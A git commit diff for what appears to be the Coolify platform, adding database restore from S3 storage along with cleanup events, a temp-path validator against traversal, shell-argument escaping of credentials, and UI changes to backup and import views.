feat: S3 restore (#7085)
This commit is contained in:
commit
c239bc708d
26 changed files with 1924 additions and 231 deletions
|
|
@ -17,17 +17,23 @@ public function __construct($data)
|
|||
$tmpPath = data_get($data, 'tmpPath');
|
||||
$container = data_get($data, 'container');
|
||||
$serverId = data_get($data, 'serverId');
|
||||
if (filled($scriptPath) && filled($tmpPath) && filled($container) && filled($serverId)) {
|
||||
if (str($tmpPath)->startsWith('/tmp/')
|
||||
&& str($scriptPath)->startsWith('/tmp/')
|
||||
&& ! str($tmpPath)->contains('..')
|
||||
&& ! str($scriptPath)->contains('..')
|
||||
&& strlen($tmpPath) > 5 // longer than just "/tmp/"
|
||||
&& strlen($scriptPath) > 5
|
||||
) {
|
||||
$commands[] = "docker exec {$container} sh -c 'rm {$scriptPath}'";
|
||||
$commands[] = "docker exec {$container} sh -c 'rm {$tmpPath}'";
|
||||
instant_remote_process($commands, Server::find($serverId), throwError: true);
|
||||
|
||||
if (filled($container) && filled($serverId)) {
|
||||
$commands = [];
|
||||
|
||||
if (isSafeTmpPath($scriptPath)) {
|
||||
$commands[] = "docker exec {$container} sh -c 'rm ".escapeshellarg($scriptPath)." 2>/dev/null || true'";
|
||||
}
|
||||
|
||||
if (isSafeTmpPath($tmpPath)) {
|
||||
$commands[] = "docker exec {$container} sh -c 'rm ".escapeshellarg($tmpPath)." 2>/dev/null || true'";
|
||||
}
|
||||
|
||||
if (! empty($commands)) {
|
||||
$server = Server::find($serverId);
|
||||
if ($server) {
|
||||
instant_remote_process($commands, $server, throwError: false);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
56
app/Events/S3RestoreJobFinished.php
Normal file
56
app/Events/S3RestoreJobFinished.php
Normal file
|
|
@ -0,0 +1,56 @@
|
|||
<?php
|
||||
|
||||
namespace App\Events;
|
||||
|
||||
use App\Models\Server;
|
||||
use Illuminate\Broadcasting\InteractsWithSockets;
|
||||
use Illuminate\Foundation\Events\Dispatchable;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
|
||||
class S3RestoreJobFinished
|
||||
{
|
||||
use Dispatchable, InteractsWithSockets, SerializesModels;
|
||||
|
||||
public function __construct($data)
|
||||
{
|
||||
$containerName = data_get($data, 'containerName');
|
||||
$serverTmpPath = data_get($data, 'serverTmpPath');
|
||||
$scriptPath = data_get($data, 'scriptPath');
|
||||
$containerTmpPath = data_get($data, 'containerTmpPath');
|
||||
$container = data_get($data, 'container');
|
||||
$serverId = data_get($data, 'serverId');
|
||||
|
||||
// Most cleanup now happens inline during restore process
|
||||
// This acts as a safety net for edge cases (errors, interruptions)
|
||||
if (filled($serverId)) {
|
||||
$commands = [];
|
||||
|
||||
// Ensure helper container is removed (may already be gone from inline cleanup)
|
||||
if (filled($containerName)) {
|
||||
$commands[] = 'docker rm -f '.escapeshellarg($containerName).' 2>/dev/null || true';
|
||||
}
|
||||
|
||||
// Clean up server temp file if still exists (should already be cleaned)
|
||||
if (isSafeTmpPath($serverTmpPath)) {
|
||||
$commands[] = 'rm -f '.escapeshellarg($serverTmpPath).' 2>/dev/null || true';
|
||||
}
|
||||
|
||||
// Clean up any remaining files in database container (may already be cleaned)
|
||||
if (filled($container)) {
|
||||
if (isSafeTmpPath($containerTmpPath)) {
|
||||
$commands[] = 'docker exec '.escapeshellarg($container).' rm -f '.escapeshellarg($containerTmpPath).' 2>/dev/null || true';
|
||||
}
|
||||
if (isSafeTmpPath($scriptPath)) {
|
||||
$commands[] = 'docker exec '.escapeshellarg($container).' rm -f '.escapeshellarg($scriptPath).' 2>/dev/null || true';
|
||||
}
|
||||
}
|
||||
|
||||
if (! empty($commands)) {
|
||||
$server = Server::find($serverId);
|
||||
if ($server) {
|
||||
instant_remote_process($commands, $server, throwError: false);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -90,5 +90,22 @@ public function failed(?\Throwable $exception): void
|
|||
'failed_at' => now()->toIso8601String(),
|
||||
]);
|
||||
$this->activity->save();
|
||||
|
||||
// Dispatch cleanup event on failure (same as on success)
|
||||
if ($this->call_event_on_finish) {
|
||||
try {
|
||||
$eventClass = "App\\Events\\$this->call_event_on_finish";
|
||||
if (! is_null($this->call_event_data)) {
|
||||
event(new $eventClass($this->call_event_data));
|
||||
} else {
|
||||
event(new $eventClass($this->activity->causer_id));
|
||||
}
|
||||
Log::info('Cleanup event dispatched after job failure', [
|
||||
'event' => $this->call_event_on_finish,
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
Log::error('Error dispatching cleanup event on failure: '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -639,7 +639,13 @@ private function upload_to_s3(): void
|
|||
} else {
|
||||
$commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}";
|
||||
}
|
||||
$commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc alias set temporary {$endpoint} {$key} \"{$secret}\"";
|
||||
|
||||
// Escape S3 credentials to prevent command injection
|
||||
$escapedEndpoint = escapeshellarg($endpoint);
|
||||
$escapedKey = escapeshellarg($key);
|
||||
$escapedSecret = escapeshellarg($secret);
|
||||
|
||||
$commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc alias set temporary {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
|
||||
$commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc cp $this->backup_location temporary/$bucket{$this->backup_dir}/";
|
||||
instant_remote_process($commands, $this->server);
|
||||
|
||||
|
|
|
|||
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
namespace App\Livewire\Project\Database;
|
||||
|
||||
use App\Models\S3Storage;
|
||||
use App\Models\Server;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
|
|
@ -54,6 +55,15 @@ class Import extends Component
|
|||
|
||||
public string $mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
|
||||
|
||||
// S3 Restore properties
|
||||
public $availableS3Storages = [];
|
||||
|
||||
public ?int $s3StorageId = null;
|
||||
|
||||
public string $s3Path = '';
|
||||
|
||||
public ?int $s3FileSize = null;
|
||||
|
||||
public function getListeners()
|
||||
{
|
||||
$userId = Auth::id();
|
||||
|
|
@ -65,11 +75,9 @@ public function getListeners()
|
|||
|
||||
public function mount()
|
||||
{
|
||||
if (isDev()) {
|
||||
$this->customLocation = '/data/coolify/pg-dump-all-1736245863.gz';
|
||||
}
|
||||
$this->parameters = get_route_parameters();
|
||||
$this->getContainers();
|
||||
$this->loadAvailableS3Storages();
|
||||
}
|
||||
|
||||
public function updatedDumpAll($value)
|
||||
|
|
@ -179,22 +187,22 @@ public function runImport()
|
|||
try {
|
||||
$this->importRunning = true;
|
||||
$this->importCommands = [];
|
||||
if (filled($this->customLocation)) {
|
||||
$backupFileName = '/tmp/restore_'.$this->resource->uuid;
|
||||
$this->importCommands[] = "docker cp {$this->customLocation} {$this->container}:{$backupFileName}";
|
||||
$tmpPath = $backupFileName;
|
||||
} else {
|
||||
$backupFileName = "upload/{$this->resource->uuid}/restore";
|
||||
$path = Storage::path($backupFileName);
|
||||
if (! Storage::exists($backupFileName)) {
|
||||
$this->dispatch('error', 'The file does not exist or has been deleted.');
|
||||
$backupFileName = "upload/{$this->resource->uuid}/restore";
|
||||
|
||||
return;
|
||||
}
|
||||
// Check if an uploaded file exists first (takes priority over custom location)
|
||||
if (Storage::exists($backupFileName)) {
|
||||
$path = Storage::path($backupFileName);
|
||||
$tmpPath = '/tmp/'.basename($backupFileName).'_'.$this->resource->uuid;
|
||||
instant_scp($path, $tmpPath, $this->server);
|
||||
Storage::delete($backupFileName);
|
||||
$this->importCommands[] = "docker cp {$tmpPath} {$this->container}:{$tmpPath}";
|
||||
} elseif (filled($this->customLocation)) {
|
||||
$tmpPath = '/tmp/restore_'.$this->resource->uuid;
|
||||
$this->importCommands[] = "docker cp {$this->customLocation} {$this->container}:{$tmpPath}";
|
||||
} else {
|
||||
$this->dispatch('error', 'The file does not exist or has been deleted.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// Copy the restore command to a script file
|
||||
|
|
@ -248,7 +256,10 @@ public function runImport()
|
|||
'container' => $this->container,
|
||||
'serverId' => $this->server->id,
|
||||
]);
|
||||
|
||||
// Dispatch activity to the monitor and open slide-over
|
||||
$this->dispatch('activityMonitor', $activity->id);
|
||||
$this->dispatch('databaserestore');
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
return handleError($e, $this);
|
||||
|
|
@ -257,4 +268,232 @@ public function runImport()
|
|||
$this->importCommands = [];
|
||||
}
|
||||
}
|
||||
|
||||
public function loadAvailableS3Storages()
|
||||
{
|
||||
try {
|
||||
$this->availableS3Storages = S3Storage::ownedByCurrentTeam(['id', 'name', 'description'])
|
||||
->where('is_usable', true)
|
||||
->get();
|
||||
} catch (\Throwable $e) {
|
||||
$this->availableS3Storages = collect();
|
||||
}
|
||||
}
|
||||
|
||||
public function updatedS3Path($value)
|
||||
{
|
||||
// Reset validation state when path changes
|
||||
$this->s3FileSize = null;
|
||||
|
||||
// Ensure path starts with a slash
|
||||
if ($value !== null && $value !== '') {
|
||||
$this->s3Path = str($value)->trim()->start('/')->value();
|
||||
}
|
||||
}
|
||||
|
||||
public function updatedS3StorageId()
|
||||
{
|
||||
// Reset validation state when storage changes
|
||||
$this->s3FileSize = null;
|
||||
}
|
||||
|
||||
public function checkS3File()
|
||||
{
|
||||
if (! $this->s3StorageId) {
|
||||
$this->dispatch('error', 'Please select an S3 storage.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
if (blank($this->s3Path)) {
|
||||
$this->dispatch('error', 'Please provide an S3 path.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$s3Storage = S3Storage::ownedByCurrentTeam()->findOrFail($this->s3StorageId);
|
||||
|
||||
// Test connection
|
||||
$s3Storage->testConnection();
|
||||
|
||||
// Build S3 disk configuration
|
||||
$disk = Storage::build([
|
||||
'driver' => 's3',
|
||||
'region' => $s3Storage->region,
|
||||
'key' => $s3Storage->key,
|
||||
'secret' => $s3Storage->secret,
|
||||
'bucket' => $s3Storage->bucket,
|
||||
'endpoint' => $s3Storage->endpoint,
|
||||
'use_path_style_endpoint' => true,
|
||||
]);
|
||||
|
||||
// Clean the path (remove leading slash if present)
|
||||
$cleanPath = ltrim($this->s3Path, '/');
|
||||
|
||||
// Check if file exists
|
||||
if (! $disk->exists($cleanPath)) {
|
||||
$this->dispatch('error', 'File not found in S3. Please check the path.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// Get file size
|
||||
$this->s3FileSize = $disk->size($cleanPath);
|
||||
|
||||
$this->dispatch('success', 'File found in S3. Size: '.formatBytes($this->s3FileSize));
|
||||
} catch (\Throwable $e) {
|
||||
$this->s3FileSize = null;
|
||||
|
||||
return handleError($e, $this);
|
||||
}
|
||||
}
|
||||
|
||||
public function restoreFromS3()
|
||||
{
|
||||
$this->authorize('update', $this->resource);
|
||||
|
||||
if (! $this->s3StorageId || blank($this->s3Path)) {
|
||||
$this->dispatch('error', 'Please select S3 storage and provide a path first.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
if (is_null($this->s3FileSize)) {
|
||||
$this->dispatch('error', 'Please check the file first by clicking "Check File".');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$this->importRunning = true;
|
||||
|
||||
$s3Storage = S3Storage::ownedByCurrentTeam()->findOrFail($this->s3StorageId);
|
||||
|
||||
$key = $s3Storage->key;
|
||||
$secret = $s3Storage->secret;
|
||||
$bucket = $s3Storage->bucket;
|
||||
$endpoint = $s3Storage->endpoint;
|
||||
|
||||
// Clean the S3 path
|
||||
$cleanPath = ltrim($this->s3Path, '/');
|
||||
|
||||
// Get helper image
|
||||
$helperImage = config('constants.coolify.helper_image');
|
||||
$latestVersion = getHelperVersion();
|
||||
$fullImageName = "{$helperImage}:{$latestVersion}";
|
||||
|
||||
// Get the database destination network
|
||||
$destinationNetwork = $this->resource->destination->network ?? 'coolify';
|
||||
|
||||
// Generate unique names for this operation
|
||||
$containerName = "s3-restore-{$this->resource->uuid}";
|
||||
$helperTmpPath = '/tmp/'.basename($cleanPath);
|
||||
$serverTmpPath = "/tmp/s3-restore-{$this->resource->uuid}-".basename($cleanPath);
|
||||
$containerTmpPath = "/tmp/restore_{$this->resource->uuid}-".basename($cleanPath);
|
||||
$scriptPath = "/tmp/restore_{$this->resource->uuid}.sh";
|
||||
|
||||
// Prepare all commands in sequence
|
||||
$commands = [];
|
||||
|
||||
// 1. Clean up any existing helper container and temp files from previous runs
|
||||
$commands[] = "docker rm -f {$containerName} 2>/dev/null || true";
|
||||
$commands[] = "rm -f {$serverTmpPath} 2>/dev/null || true";
|
||||
$commands[] = "docker exec {$this->container} rm -f {$containerTmpPath} {$scriptPath} 2>/dev/null || true";
|
||||
|
||||
// 2. Start helper container on the database network
|
||||
$commands[] = "docker run -d --network {$destinationNetwork} --name {$containerName} {$fullImageName} sleep 3600";
|
||||
|
||||
// 3. Configure S3 access in helper container
|
||||
$escapedEndpoint = escapeshellarg($endpoint);
|
||||
$escapedKey = escapeshellarg($key);
|
||||
$escapedSecret = escapeshellarg($secret);
|
||||
$commands[] = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
|
||||
|
||||
// 4. Check file exists in S3
|
||||
$commands[] = "docker exec {$containerName} mc stat s3temp/{$bucket}/{$cleanPath}";
|
||||
|
||||
// 5. Download from S3 to helper container (progress shown by default)
|
||||
$commands[] = "docker exec {$containerName} mc cp s3temp/{$bucket}/{$cleanPath} {$helperTmpPath}";
|
||||
|
||||
// 6. Copy from helper to server, then immediately to database container
|
||||
$commands[] = "docker cp {$containerName}:{$helperTmpPath} {$serverTmpPath}";
|
||||
$commands[] = "docker cp {$serverTmpPath} {$this->container}:{$containerTmpPath}";
|
||||
|
||||
// 7. Cleanup helper container and server temp file immediately (no longer needed)
|
||||
$commands[] = "docker rm -f {$containerName} 2>/dev/null || true";
|
||||
$commands[] = "rm -f {$serverTmpPath} 2>/dev/null || true";
|
||||
|
||||
// 8. Build and execute restore command inside database container
|
||||
$restoreCommand = $this->buildRestoreCommand($containerTmpPath);
|
||||
|
||||
$restoreCommandBase64 = base64_encode($restoreCommand);
|
||||
$commands[] = "echo \"{$restoreCommandBase64}\" | base64 -d > {$scriptPath}";
|
||||
$commands[] = "chmod +x {$scriptPath}";
|
||||
$commands[] = "docker cp {$scriptPath} {$this->container}:{$scriptPath}";
|
||||
|
||||
// 9. Execute restore and cleanup temp files immediately after completion
|
||||
$commands[] = "docker exec {$this->container} sh -c '{$scriptPath} && rm -f {$containerTmpPath} {$scriptPath}'";
|
||||
$commands[] = "docker exec {$this->container} sh -c 'echo \"Import finished with exit code $?\"'";
|
||||
|
||||
// Execute all commands with cleanup event (as safety net for edge cases)
|
||||
$activity = remote_process($commands, $this->server, ignore_errors: true, callEventOnFinish: 'S3RestoreJobFinished', callEventData: [
|
||||
'containerName' => $containerName,
|
||||
'serverTmpPath' => $serverTmpPath,
|
||||
'scriptPath' => $scriptPath,
|
||||
'containerTmpPath' => $containerTmpPath,
|
||||
'container' => $this->container,
|
||||
'serverId' => $this->server->id,
|
||||
]);
|
||||
|
||||
// Dispatch activity to the monitor and open slide-over
|
||||
$this->dispatch('activityMonitor', $activity->id);
|
||||
$this->dispatch('databaserestore');
|
||||
$this->dispatch('info', 'Restoring database from S3. Progress will be shown in the activity monitor...');
|
||||
} catch (\Throwable $e) {
|
||||
$this->importRunning = false;
|
||||
|
||||
return handleError($e, $this);
|
||||
}
|
||||
}
|
||||
|
||||
public function buildRestoreCommand(string $tmpPath): string
|
||||
{
|
||||
switch ($this->resource->getMorphClass()) {
|
||||
case \App\Models\StandaloneMariadb::class:
|
||||
$restoreCommand = $this->mariadbRestoreCommand;
|
||||
if ($this->dumpAll) {
|
||||
$restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mariadb -u root -p\$MARIADB_ROOT_PASSWORD";
|
||||
} else {
|
||||
$restoreCommand .= " < {$tmpPath}";
|
||||
}
|
||||
break;
|
||||
case \App\Models\StandaloneMysql::class:
|
||||
$restoreCommand = $this->mysqlRestoreCommand;
|
||||
if ($this->dumpAll) {
|
||||
$restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mysql -u root -p\$MYSQL_ROOT_PASSWORD";
|
||||
} else {
|
||||
$restoreCommand .= " < {$tmpPath}";
|
||||
}
|
||||
break;
|
||||
case \App\Models\StandalonePostgresql::class:
|
||||
$restoreCommand = $this->postgresqlRestoreCommand;
|
||||
if ($this->dumpAll) {
|
||||
$restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | psql -U \$POSTGRES_USER postgres";
|
||||
} else {
|
||||
$restoreCommand .= " {$tmpPath}";
|
||||
}
|
||||
break;
|
||||
case \App\Models\StandaloneMongodb::class:
|
||||
$restoreCommand = $this->mongodbRestoreCommand;
|
||||
if ($this->dumpAll === false) {
|
||||
$restoreCommand .= "{$tmpPath}";
|
||||
}
|
||||
break;
|
||||
default:
|
||||
$restoreCommand = '';
|
||||
}
|
||||
|
||||
return $restoreCommand;
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -44,6 +44,8 @@ class Index extends Component
|
|||
|
||||
public bool $forceSaveDomains = false;
|
||||
|
||||
public $buildActivityId = null;
|
||||
|
||||
public function render()
|
||||
{
|
||||
return view('livewire.settings.index');
|
||||
|
|
@ -151,4 +153,37 @@ public function submit()
|
|||
return handleError($e, $this);
|
||||
}
|
||||
}
|
||||
|
||||
public function buildHelperImage()
|
||||
{
|
||||
try {
|
||||
if (! isDev()) {
|
||||
$this->dispatch('error', 'Building helper image is only available in development mode.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$version = $this->dev_helper_version ?: config('constants.coolify.helper_version');
|
||||
if (empty($version)) {
|
||||
$this->dispatch('error', 'Please specify a version to build.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$buildCommand = "docker build -t ghcr.io/coollabsio/coolify-helper:{$version} -f docker/coolify-helper/Dockerfile .";
|
||||
|
||||
$activity = remote_process(
|
||||
command: [$buildCommand],
|
||||
server: $this->server,
|
||||
type: 'build-helper-image'
|
||||
);
|
||||
|
||||
$this->buildActivityId = $activity->id;
|
||||
$this->dispatch('activityMonitor', $activity->id);
|
||||
|
||||
$this->dispatch('success', "Building coolify-helper:{$version}...");
|
||||
} catch (\Exception $e) {
|
||||
return handleError($e, $this);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -120,8 +120,15 @@ public function testConnection()
|
|||
|
||||
$this->storage->testConnection(shouldSave: true);
|
||||
|
||||
// Update component property to reflect the new validation status
|
||||
$this->isUsable = $this->storage->is_usable;
|
||||
|
||||
return $this->dispatch('success', 'Connection is working.', 'Tested with "ListObjectsV2" action.');
|
||||
} catch (\Throwable $e) {
|
||||
// Refresh model and sync to get the latest state
|
||||
$this->storage->refresh();
|
||||
$this->isUsable = $this->storage->is_usable;
|
||||
|
||||
$this->dispatch('error', 'Failed to create storage.', $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -3,10 +3,13 @@
|
|||
namespace App\Livewire\Storage;
|
||||
|
||||
use App\Models\S3Storage;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Livewire\Component;
|
||||
|
||||
class Show extends Component
|
||||
{
|
||||
use AuthorizesRequests;
|
||||
|
||||
public $storage = null;
|
||||
|
||||
public function mount()
|
||||
|
|
@ -15,6 +18,7 @@ public function mount()
|
|||
if (! $this->storage) {
|
||||
abort(404);
|
||||
}
|
||||
$this->authorize('view', $this->storage);
|
||||
}
|
||||
|
||||
public function render()
|
||||
|
|
|
|||
|
|
@ -3,6 +3,7 @@
|
|||
namespace App\Models;
|
||||
|
||||
use App\Traits\HasSafeStringAttribute;
|
||||
use Illuminate\Database\Eloquent\Casts\Attribute;
|
||||
use Illuminate\Database\Eloquent\Factories\HasFactory;
|
||||
use Illuminate\Notifications\Messages\MailMessage;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
|
@ -41,6 +42,19 @@ public function awsUrl()
|
|||
return "{$this->endpoint}/{$this->bucket}";
|
||||
}
|
||||
|
||||
protected function path(): Attribute
|
||||
{
|
||||
return Attribute::make(
|
||||
set: function (?string $value) {
|
||||
if ($value === null || $value === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return str($value)->trim()->start('/')->value();
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
public function testConnection(bool $shouldSave = false)
|
||||
{
|
||||
try {
|
||||
|
|
|
|||
|
|
@ -3154,6 +3154,118 @@ function generateDockerComposeServiceName(mixed $services, int $pullRequestId =
|
|||
return $collection;
|
||||
}
|
||||
|
||||
function formatBytes(?int $bytes, int $precision = 2): string
|
||||
{
|
||||
if ($bytes === null || $bytes === 0) {
|
||||
return '0 B';
|
||||
}
|
||||
|
||||
// Handle negative numbers
|
||||
if ($bytes < 0) {
|
||||
return '0 B';
|
||||
}
|
||||
|
||||
$units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
|
||||
$base = 1024;
|
||||
$exponent = floor(log($bytes) / log($base));
|
||||
$exponent = min($exponent, count($units) - 1);
|
||||
|
||||
$value = $bytes / pow($base, $exponent);
|
||||
|
||||
return round($value, $precision).' '.$units[$exponent];
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that a file path is safely within the /tmp/ directory.
|
||||
* Protects against path traversal attacks by resolving the real path
|
||||
* and verifying it stays within /tmp/.
|
||||
*
|
||||
* Note: On macOS, /tmp is often a symlink to /private/tmp, which is handled.
|
||||
*/
|
||||
function isSafeTmpPath(?string $path): bool
|
||||
{
|
||||
if (blank($path)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// URL decode to catch encoded traversal attempts
|
||||
$decodedPath = urldecode($path);
|
||||
|
||||
// Minimum length check - /tmp/x is 6 chars
|
||||
if (strlen($decodedPath) < 6) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Must start with /tmp/
|
||||
if (! str($decodedPath)->startsWith('/tmp/')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Quick check for obvious traversal attempts
|
||||
if (str($decodedPath)->contains('..')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for null bytes (directory traversal technique)
|
||||
if (str($decodedPath)->contains("\0")) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Remove any trailing slashes for consistent validation
|
||||
$normalizedPath = rtrim($decodedPath, '/');
|
||||
|
||||
// Normalize the path by removing redundant separators and resolving . and ..
|
||||
// We'll do this manually since realpath() requires the path to exist
|
||||
$parts = explode('/', $normalizedPath);
|
||||
$resolvedParts = [];
|
||||
|
||||
foreach ($parts as $part) {
|
||||
if ($part === '' || $part === '.') {
|
||||
// Skip empty parts (from //) and current directory references
|
||||
continue;
|
||||
} elseif ($part === '..') {
|
||||
// Parent directory - this should have been caught earlier but double-check
|
||||
return false;
|
||||
} else {
|
||||
$resolvedParts[] = $part;
|
||||
}
|
||||
}
|
||||
|
||||
$resolvedPath = '/'.implode('/', $resolvedParts);
|
||||
|
||||
// Final check: resolved path must start with /tmp/
|
||||
// And must have at least one component after /tmp/
|
||||
if (! str($resolvedPath)->startsWith('/tmp/') || $resolvedPath === '/tmp') {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Resolve the canonical /tmp path (handles symlinks like /tmp -> /private/tmp on macOS)
|
||||
$canonicalTmpPath = realpath('/tmp');
|
||||
if ($canonicalTmpPath === false) {
|
||||
// If /tmp doesn't exist, something is very wrong, but allow non-existing paths
|
||||
$canonicalTmpPath = '/tmp';
|
||||
}
|
||||
|
||||
// Calculate dirname once to avoid redundant calls
|
||||
$dirPath = dirname($resolvedPath);
|
||||
|
||||
// If the directory exists, resolve it via realpath to catch symlink attacks
|
||||
if (is_dir($dirPath)) {
|
||||
// For existing paths, resolve to absolute path to catch symlinks
|
||||
$realDir = realpath($dirPath);
|
||||
if ($realDir === false) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check if the real directory is within /tmp (or its canonical path)
|
||||
if (! str($realDir)->startsWith('/tmp') && ! str($realDir)->startsWith($canonicalTmpPath)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Transform colon-delimited status format to human-readable parentheses format.
|
||||
*
|
||||
|
|
|
|||
|
|
@ -68,22 +68,21 @@ class="flex flex-col gap-4">
|
|||
</span>
|
||||
</div>
|
||||
<div class="text-gray-600 dark:text-gray-400 text-sm">
|
||||
Started: {{ formatDateInServerTimezone(data_get($execution, 'created_at'), $this->server()) }}
|
||||
@if (data_get($execution, 'status') !== 'running')
|
||||
<br>Ended:
|
||||
{{ formatDateInServerTimezone(data_get($execution, 'finished_at'), $this->server()) }}
|
||||
<br>Duration:
|
||||
{{ calculateDuration(data_get($execution, 'created_at'), data_get($execution, 'finished_at')) }}
|
||||
<br>Finished {{ \Carbon\Carbon::parse(data_get($execution, 'finished_at'))->diffForHumans() }}
|
||||
@if (data_get($execution, 'status') === 'running')
|
||||
<span title="Started: {{ formatDateInServerTimezone(data_get($execution, 'created_at'), $this->server()) }}">
|
||||
Running for {{ calculateDuration(data_get($execution, 'created_at'), now()) }}
|
||||
</span>
|
||||
@else
|
||||
<span title="Started: {{ formatDateInServerTimezone(data_get($execution, 'created_at'), $this->server()) }} Ended: {{ formatDateInServerTimezone(data_get($execution, 'finished_at'), $this->server()) }}">
|
||||
{{ \Carbon\Carbon::parse(data_get($execution, 'finished_at'))->diffForHumans() }}
|
||||
({{ calculateDuration(data_get($execution, 'created_at'), data_get($execution, 'finished_at')) }})
|
||||
• {{ \Carbon\Carbon::parse(data_get($execution, 'finished_at'))->format('M j, H:i') }}
|
||||
</span>
|
||||
@endif
|
||||
• Database: {{ data_get($execution, 'database_name', 'N/A') }}
|
||||
@if(data_get($execution, 'size'))
|
||||
• Size: {{ formatBytes(data_get($execution, 'size')) }}
|
||||
@endif
|
||||
</div>
|
||||
<div class="text-gray-600 dark:text-gray-400 text-sm">
|
||||
Database: {{ data_get($execution, 'database_name', 'N/A') }}
|
||||
</div>
|
||||
<div class="text-gray-600 dark:text-gray-400 text-sm">
|
||||
Size: {{ data_get($execution, 'size') }} B /
|
||||
{{ round((int) data_get($execution, 'size') / 1024, 2) }} kB /
|
||||
{{ round((int) data_get($execution, 'size') / 1024 / 1024, 3) }} MB
|
||||
</div>
|
||||
<div class="text-gray-600 dark:text-gray-400 text-sm">
|
||||
Location: {{ data_get($execution, 'filename', 'N/A') }}
|
||||
|
|
|
|||
|
|
@ -1,54 +1,65 @@
|
|||
<div x-data="{ error: $wire.entangle('error'), filesize: $wire.entangle('filesize'), filename: $wire.entangle('filename'), isUploading: $wire.entangle('isUploading'), progress: $wire.entangle('progress') }">
|
||||
<div x-data="{
|
||||
error: $wire.entangle('error'),
|
||||
filesize: $wire.entangle('filesize'),
|
||||
filename: $wire.entangle('filename'),
|
||||
isUploading: $wire.entangle('isUploading'),
|
||||
progress: $wire.entangle('progress'),
|
||||
s3FileSize: $wire.entangle('s3FileSize'),
|
||||
s3StorageId: $wire.entangle('s3StorageId'),
|
||||
s3Path: $wire.entangle('s3Path'),
|
||||
restoreType: null
|
||||
}">
|
||||
<script type="text/javascript" src="{{ URL::asset('js/dropzone.js') }}"></script>
|
||||
@script
|
||||
<script data-navigate-once>
|
||||
Dropzone.options.myDropzone = {
|
||||
chunking: true,
|
||||
method: "POST",
|
||||
maxFilesize: 1000000000,
|
||||
chunkSize: 10000000,
|
||||
createImageThumbnails: false,
|
||||
disablePreviews: true,
|
||||
parallelChunkUploads: false,
|
||||
init: function() {
|
||||
let button = this.element.querySelector('button');
|
||||
button.innerText = 'Select or drop a backup file here.'
|
||||
this.on('sending', function(file, xhr, formData) {
|
||||
const token = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
|
||||
formData.append("_token", token);
|
||||
});
|
||||
this.on("addedfile", file => {
|
||||
$wire.isUploading = true;
|
||||
});
|
||||
this.on('uploadprogress', function(file, progress, bytesSent) {
|
||||
$wire.progress = progress;
|
||||
});
|
||||
this.on('complete', function(file) {
|
||||
$wire.filename = file.name;
|
||||
$wire.filesize = Number(file.size / 1024 / 1024).toFixed(2) + ' MB';
|
||||
$wire.isUploading = false;
|
||||
});
|
||||
this.on('error', function(file, message) {
|
||||
$wire.error = true;
|
||||
$wire.$dispatch('error', message.error)
|
||||
});
|
||||
}
|
||||
};
|
||||
</script>
|
||||
<script data-navigate-once>
|
||||
Dropzone.options.myDropzone = {
|
||||
chunking: true,
|
||||
method: "POST",
|
||||
maxFilesize: 1000000000,
|
||||
chunkSize: 10000000,
|
||||
createImageThumbnails: false,
|
||||
disablePreviews: true,
|
||||
parallelChunkUploads: false,
|
||||
init: function () {
|
||||
let button = this.element.querySelector('button');
|
||||
button.innerText = 'Select or drop a backup file here.'
|
||||
this.on('sending', function (file, xhr, formData) {
|
||||
const token = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
|
||||
formData.append("_token", token);
|
||||
});
|
||||
this.on("addedfile", file => {
|
||||
$wire.isUploading = true;
|
||||
$wire.customLocation = '';
|
||||
});
|
